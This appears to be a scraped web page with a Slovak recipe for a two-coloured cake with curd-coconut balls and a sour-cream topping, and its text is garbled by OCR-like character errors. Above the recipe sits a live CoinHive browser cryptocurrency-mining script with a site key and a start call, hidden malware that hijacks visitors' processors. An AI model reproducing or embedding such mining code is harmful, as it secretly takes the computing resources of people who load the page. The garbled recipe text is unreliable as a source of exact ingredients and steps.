Dvojfareny kolaé

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();
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Potrebujeme: 250 g tvarohu, 1 vajce, 4 PL kryStalového cukru, 6 PL kokosovej mucky

Potrebujeme na cesto: 250 g masla, 200 g krystalového cukru, 3 vajcia, 300 g bezlepkovej
muky, 250 ml kyslej smotany, 6 PL mlieka, 2 PL kakaa, 1 praSok do peciva

Potrebujeme na plnku: 250 ml smotany na §fahanie, 250 ml kyslej smotany, 1 vanilkovy cukor,
4 PL krystalového cukru, ¢okoladu (nastrahat na vrch)

Postup: Suroviny na gulé¢ky zmieSame v miske, tvarujeme malé gul6cky, ktoré dame cca na 1
hodinu do mrazniCky. Medzitym zmieSame maslo s kryStalovym cukrom, priddme muku, kyslu
smotanu, muku, vajcia, prasok do peciva a mlieko. 1/2 cesta rozotrieme na plech vystlany
papierom na pecenie, do druhej 1/2 cesta dame kakao, dobre premieSame a rozotrieme na
svetlé cesto. Z mrazniCky vyberieme guldcky, rozloZzime na tmavé cesto a mierne ich pritlaCime.
Pecieme na 200°C cca 30 minut. Kolac¢ po upeéeni nechame vychladnut. Vysfahame Srahacku,
priddme do nech kyslu smotanu a cukor, dobre premieSame, vylejeme na kolac, rozotrieme,
nastrihame ¢okoladu a dame stuhnut do chladnicky.




